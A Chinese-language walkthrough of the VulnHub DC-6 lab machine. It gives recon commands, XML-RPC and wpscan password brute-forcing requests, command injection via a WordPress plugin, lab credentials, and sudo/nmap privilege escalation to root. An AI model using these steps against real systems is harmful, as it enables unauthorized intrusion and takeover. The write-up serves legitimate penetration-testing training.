【VulnHub靶机系列】DC6

2022-09-26 10:04:59 浏览数 (1)

文章来源|MS08067 安全实验室

本文作者:大方子(Ms08067实验室核心成员)

主机信息

Kali:192.168.0.128 DC-6:192.168.0.130

实验过程

先找到DC-6的IP地址

代码语言:javascript复制
sudo arp-scan --interface eth0 192.168.0.1/24

然后用Nmap对DC-6进行扫描

代码语言:javascript复制
sudo nmap -sS -sC -sV -p- 192.168.0.130

可以看到主机开放了80 和 22端口

通过扫描结果可以看出,通过80端口访问DC-6的web服务会被重定向到http://wordy/

这里我们需要修改下Host,让http://wordy/指向192.168.0.130

这里要注意是访问的是http://wordy/而不是http://wordy.com

可以看到是wp来进行搭建的,跟DC-2类似

这里我们先用wpscan扫描下看看当前网站看看有没有什么有用的信息

代码语言:javascript复制
wpscan --url http://wordy/

可以看到wp开启了XML-RPC

当前的wp版本是5.1.1

这里稍微介绍下WP的XML-RPC的漏洞知识

我们可以通过XML-RPC,查看目标网站支持的方法

代码语言:javascript复制
POST /xmlrpc.php HTTP/1.1
Host: wordy
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 95

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

一般情况下,wordpress的管理后台都会设置账号登录失败次数限制,因此,可以通过xmlprc.php接口来进行爆破。通常会使用wp.getUserBlogs、wp.getCategories和metaWeblog.getUsersBlogs这个方法来进行爆破,也可以使用其他的方法。

参数构造如下,如果爆破成功则会返回相应的博客内容

代码语言:javascript复制
POST /xmlrpc.php HTTP/1.1
Host: wordy
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 174

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>password</value></param>
</params>
</methodCall>


在wp版本低于3.5.1中还可以利用pingback.ping进行端口扫描、文件读取的功能这里不展开描述

接下来对网站的用户进行遍历

代码语言:javascript复制
wpscan --url http://wordy/ -e u

将这些用户名记录下来,爆破用

代码语言:javascript复制
wpscan --url http://wordy/ -U wp-users -P /usr/share/wordlists/rockyou.txt

得到账号密码

账号:mark 密码:helpdesk01

wp默认的后台地址为/wp-admin

在Activity monitor/tools中找到lookup,可以命令拼接来进行命令执行

代码语言:javascript复制
常见的命令连接符有(|,&&,||这三个连接符都是Windows系统与Linux系统共有的,而&是Windows系统特有,;是Linux系统特有的)

A|B:无论执行的A命令是否正确,B命令都执行
A&&B:只有在A命令成功执行的前提下,B命令才可以执行
A||B:只有在A命令没有执行失败的前提下,B命令才可以执行
A&B:不管A是否执行成功,B命令都会执行
A;B:不管A是否执行成功,B命令都会执行

接下来开始反弹shell

在jens目录下发现backups.sh脚本

想尝试编辑这个脚本,发现没有权限

接着继续翻找信息,找到graham的账号信息

代码语言:javascript复制
graham - GSo7isUM1D4

直接通过SSH登录到graham

查看其sudo权限,可以看到graham可以不用密码,以jens权限来运行/home/jens/backups.sh脚本

修改backups.sh来反弹jens的权限

然后以jens身份来执行脚本

代码语言:javascript复制
sudo -u jens /home/jens/backups.sh

得到jens的权限

查看Jens的sudo权限,可以看到jens可以无密码通过root权限来运行nmap

那么接下来就通过nmap来进行提权

代码语言:javascript复制
echo 'os.execute("/bin/bash")' > root.sh
sudo nmap --script=root.sh

得到root权限

0 人点赞